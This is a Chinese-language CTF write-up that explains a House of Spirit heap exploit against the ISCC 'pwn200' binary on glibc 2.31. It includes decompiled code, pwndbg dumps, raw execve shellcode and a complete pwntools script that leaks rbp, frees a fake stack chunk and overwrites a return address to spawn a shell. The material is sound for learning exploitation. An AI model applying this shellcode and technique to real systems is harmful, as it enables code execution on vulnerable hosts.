0%

House Of Spirit-2.31-64

pwn200

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  [/home/ywhkkx/桌面] ./pwn200 
who are u?
ywhkkx
ywhkkx, welcome to ISCC~
give me your id ~~?
13
give me money~
200

=======EASY HOTEL========
1. check in
2. check out
3. goodbye
your choice :
1
2
3
4
5
6
7
8
9
pwn200: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5a7b9f542c0bf79112b5be3f0198d706cce1bcad, stripped

[*] '/home/ywhkkx/桌面/pwn200'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

64位,全关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void pwn()
{
__int64 i; // [rsp+10h] [rbp-40h]
char v1[48]; // [rsp+20h] [rbp-30h] BYREF

puts("who are u?");
for ( i = 0LL; i <= 47; ++i )
{
read(0, &v1[i], 1uLL);
if ( v1[i] == 10 )
{
v1[i] = 0;
break;
}
}
printf("%s, welcome to ISCC~ \n", v1);
puts("give me your id ~~?");
getNum();
pwn2();
}
1
2
3
4
5
6
7
8
9
10
11
12
void pwn2()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
char *dest; // [rsp+38h] [rbp-8h]

dest = (char *)malloc(0x40uLL);
puts("give me money~");
read(0, buf, 0x40uLL);
strcpy(dest, buf); // overflow
ptr = dest;
hotel();
}

存在栈溢出,buf 越界覆盖了 dest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void hotel()
{
int Num; // eax

while ( 1 )
{
while ( 1 )
{
menu();
Num = getNum();
if ( Num != 2 )
break;
checkOut(); // free ptr
}
if ( Num == 3 )
break;
if ( Num == 1 )
checkIn(); // malloc ptr
else
puts("invalid choice");
}
puts("good bye~");
}

标准的堆模板

1
2
3
4
5
6
7
8
9
10
11
12
13
void checkOut()
{
if ( ptr )
{
puts("out~");
free(ptr);
ptr = 0LL;
}
else
{
puts("havn't check in"); // 基础保护
}
}

free 有一个基础检查,置空了指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void checkIn()
{
int size; // [rsp+Ch] [rbp-4h]

if ( ptr )
{
puts("already check in");
}
else
{
puts("how long?");
size = getNum();
if ( size <= 0 || size > 0x80 )
{
puts("invalid length");
}
else
{
ptr = malloc(size);
printf("give me more money : ");
printf("\n%d\n", (unsigned int)size);
read(0, ptr, (unsigned int)size);
puts("in~");
}
}
}

入侵思路

没有开NX,很明显是为了打 shellcode 注入

1
2
3
4
5
6
7
8
9
for ( i = 0LL; i <= 47; ++i )
{
read(0, &v1[i], 1uLL);
if ( v1[i] == 10 ) // leak rbp
{
v1[i] = 0;
break;
}
}

这里有个很明显的漏洞:read 需要检查到“\n”才会写入“\x00”,如果 48 次循环后没有输入“\n”,就会造成 leak,先在GDB中看看是哪个数据“leak”了:(在IDA中看就是rbp)

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> search -s aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
warning: Unable to access 16000 bytes of target memory at 0x7ffff7bd2d1f, halting search.
[stack] 0x7fffffffb680 0x6161616161616161 ('aaaaaaaa')
[stack] 0x7fffffffdd40 0x6161616161616161 ('aaaaaaaa')
pwndbg> x/20xg 0x7fffffffb680
0x7fffffffb680: 0x6161616161616161 0x6161616161616161
0x7fffffffb690: 0x6161616161616161 0x6161616161616161
0x7fffffffb6a0: 0x6161616161616161 0x6161616161616161
0x7fffffffb6b0: 0x202c7fffffffdd90 0x20656d6f636c6577
0x7fffffffb6c0: 0x7e43435349206f74 0x0000000000000a20
0x7fffffffb6d0: 0x0000000000000000 0x0000000000000000
0x7fffffffb6e0: 0x0000000000000000 0x0000000000000000

泄露了 rbp 的地址,我们就可以把 shellcode 放在栈中,用 rbp 来计算 shellcode 的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')

payload = b''
payload += shellcode.ljust(48)

p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)

rbp_addr = u64(p.recvn(6).ljust(8, b'\x00'))
success('rbp_addr >> '+hex(rbp_addr))
shellcode_addr = rbp_addr - 0x50
success("shellcode_addr: "+hex(shellcode_addr))

fake_addr = rbp_addr - 0x90 # offset 0x40 to shellcode, 0x400a29 return address
success("fake_addr: "+hex(fake_addr))

首先我们是可以控制 free 的:(通过 buf 溢出到 *dest)

1
2
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
char *dest; // [rsp+38h] [rbp-8h]

那么就可以利用 House Of Spirit 进行 WAA,但是选择 free 哪个地址呢?

在 GDB 中,把 rbp_addr 向上打印,并标记出可以控制的区域(还要留心“数字”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> telescope 0x7fffc43095b0-0x100 // rbp_addr-0x100
00:00000x7fffc43094b0 —▸ 0x400cb7 ◂— imul esi, dword ptr [esi + 0x65], 0x20656d20 /* 'give me money~' */
01:00080x7fffc43094b8 —▸ 0x7f48002ecbd2 (puts+418) ◂— cmp eax, -1
02:00100x7fffc43094c0 ◂— 0x50000
03:00180x7fffc43094c8 ◂— 0x0
04:00200x7fffc43094d0 —▸ 0x7fffc4309530 —▸ 0x7fffc4309590 —▸ 0x7fffc43095b0 —▸ 0x400b60 ◂— ...
05:00280x7fffc43094d8 —▸ 0x4006b0 ◂— xor ebp, ebp
06:00300x7fffc43094e0 —▸ 0x7fffc4309690 ◂— 0x1
07:0038│ rsp 0x7fffc43094e8 —▸ 0x400a64 ◂— lea rdx, [rbp - 0x40]
pwndbg>
08:0040│ rsi 0x7fffc43094f0 —▸ 0x7fffc4309690 ◂— 0x1 // 可控:0x40
09:00480x7fffc43094f8 ◂— 0x0
0a:00500x7fffc4309500 ◂— 0x0
0b:00580x7fffc4309508 —▸ 0x7f48002ac740 (atoi+16) ◂— add rsp, 8
0c:00600x7fffc4309510 ◂— 9 /* '\t' */
0d:00680x7fffc4309518 —▸ 0x4008b5 ◂— leave
0e:00700x7fffc4309520 —▸ 0x7fffc4003233 ◂— 0x0 // fake_addr
0f:00780x7fffc4309528 —▸ 0x1b67260 ◂— 0x0
pwndbg>
10:0080│ rbp 0x7fffc4309530 —▸ 0x7fffc4309590 —▸ 0x7fffc43095b0 —▸ 0x400b60 ◂— push r15 // 可控区域结束
11:00880x7fffc4309538 —▸ 0x400b34 ◂— leave // target
12:00900x7fffc4309540 —▸ 0x7f48006542a0 (_IO_file_jumps) ◂— 0x0
13:00980x7fffc4309548 —▸ 0x7f48002f68c9 (_IO_file_setbuf+9) ◂— test rax, rax
14:00a0│ 0x7fffc4309550 ◂— 0x30 /* '0' */
15:00a8│ 0x7fffc4309558 ◂— 0x20 /* ' ' */
16:00b0│ 0x7fffc4309560 ◂— 0x91969dd1bb48c031 // shellcode_addr
17:00b8│ 0x7fffc4309568 ◂— 0x53dbf748ff978cd0

现在的目的是:利用 WAA 把“shellcode_addr”写入某个函数的返回地址

这里选择写入“0x7fffc4309538”(pwn2的返回地址),下面说明原因:

1
11:00880x7fffc4309538 —▸ 0x400b34 ◂— leave // target
1
2
3
4
5
6
08:0040│ rsi 0x7fffc43094f0 —▸ 0x7fffc4309690 ◂— 0x1 // 可控:0x40
............
10:0080│ rbp 0x7fffc4309530 —▸ 0x7fffc4309590 —▸ 0x7fffc43095b0 —▸ 0x400b60 ◂— push r15 // 可控区域结束
............
14:00a0│ 0x7fffc4309550 ◂— 0x30 /* '0' */
15:00a8│ 0x7fffc4309558 ◂— 0x20 /* ' ' */

House Of Spirit 需要写入“chunk->size”和“nextchunk->size”,在发现数字“0x30”和“0x20”后,发现它距离“可控区域”不远,所以选择离他们最近的返回地址“0x7fffc4309538”作为目标地址(并且这个地址在“可控区域”以外,不用担心它被覆写)

因为最后要写入“0x7fffc4309538”,所以必须 free 这之前的地址,这样申请回来的时候就可以向下控制,这里选择“0x7fffc4003233”

1
0e:00700x7fffc4309520 —▸ 0x7fffc4003233 ◂— 0x0 // fake_addr

对写入的数据进行构思,使“chunk->size”和“nextchunk->size”可以接上:

1
2
3
4
data = p64(0) * 4 + p64(0) + p64(0x41)        # no strcpy
data = data.ljust(56, b'\x00') + p64(fake_addr)
print(data)
p.send(data)
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> stack 50
00:0000│ rsi rsp 0x7fffc43094f0 ◂— 0x0 // 从这里开始的区域都是可以控制的
... ↓ 4 skipped
05:00280x7fffc4309518 ◂— 0x41 // chunk->size
06:0030│ rax rdi 0x7fffc4309520 ◂— 0x0 // fake_addr
07:00380x7fffc4309528 —▸ 0x7fffc4309520 ◂— 0x0
08:0040│ rbp 0x7fffc4309530 —▸ 0x7fffc4309590 —▸ 0x7fffc43095b0 —▸ 0x400b60 ◂— push r15
09:00480x7fffc4309538 —▸ 0x400b34 ◂— leave // target
0a:00500x7fffc4309540 —▸ 0x7f48006542a0 (_IO_file_jumps) ◂— 0x0
0b:00580x7fffc4309548 —▸ 0x7f48002f68c9 (_IO_file_setbuf+9) ◂— test rax, rax
0c:00600x7fffc4309550 ◂— 0x30
0d:00680x7fffc4309558 ◂— 0x20 // nextchunk->size
1
2
In [4]: hex(0x7fffc4309518+0x40)
Out[4]: '0x7fffc4309558' // chunk->size和nextchunk->size接上了

释放掉这个假chunk,再申请回来,就可以控制目标地址了(0x7fffc4309538)

1
2
3
4
5
6
7
8
9
10
11
p.recvuntil('choice : ')
p.sendline('2') # free(fake_addr)

p.recvuntil('choice : ')
p.sendline('1') # malloc(fake_addr)
p.recvuntil('long?')
p.sendline('48')

data = b'a' * 0x18 + p64(shellcode_addr) # write to target_addr
data = data.ljust(48, b'\x00')
p.send(data)
1
2
3
4
5
6
7
8
pwndbg> telescope 0x7fffc4309520
00:00000x7fffc4309520 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓ 2 skipped
03:00180x7fffc4309538 —▸ 0x7fffc4309560 ◂— 0x91969dd1bb48c031 // target
04:00200x7fffc4309540 ◂— 0x0
05:00280x7fffc4309548 ◂— 0x0
06:00300x7fffc4309550 ◂— 0x30 /* '0' */
07:00380x7fffc4309558 ◂— 0x20 /* ' ' */

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context.log_level = 'debug'
# p = remote('127.0.0.1', 7777)
p = process('./pwn200')

free_got = 0x0000000000602018

shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

payload = b''
payload += shellcode.ljust(48)

p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)

rbp_addr = u64(p.recvn(6).ljust(8, b'\x00'))
success('rbp_addr >> '+hex(rbp_addr))
shellcode_addr = rbp_addr - 0x50
success("shellcode_addr: "+hex(shellcode_addr))

fake_addr = rbp_addr - 0x90
success("fake_addr: "+hex(fake_addr))


p.recvuntil('give me your id ~~?\n')
p.sendline('32')
p.recvuntil('give me money~\n')

data = p64(0) * 4 + p64(0) + p64(0x41)
data = data.ljust(56, b'\x00') + p64(fake_addr)
p.send(data)

p.recvuntil('choice : ')
p.sendline('2')
p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('long?')
p.sendline('48')

data = b'a' * 0x18 + p64(shellcode_addr)
data = data.ljust(48, b'\x00')
p.send(data)

p.recvuntil('choice')
p.sendline('3')

p.interactive()

house of spirit 小结(2.27~2.31-64位)

当考虑使用 house of spirit 时,一定要多多关注“可控区域”里的“数字”(有时候会利用“计数器”来构造“数字”)

利用这些“数字”充当“chunk->size”或者“nextchunk->size”,并调节“size”的大小使其可以连接起来,这样一般就可以通过 free 的检查了

注意:GDB中的“bins”指令看不见 free 掉的 fake_chunk,GDB也不会在 fastbin 中显示 fake_chunk,但是实际上是可以直接申请 fake_chunk 的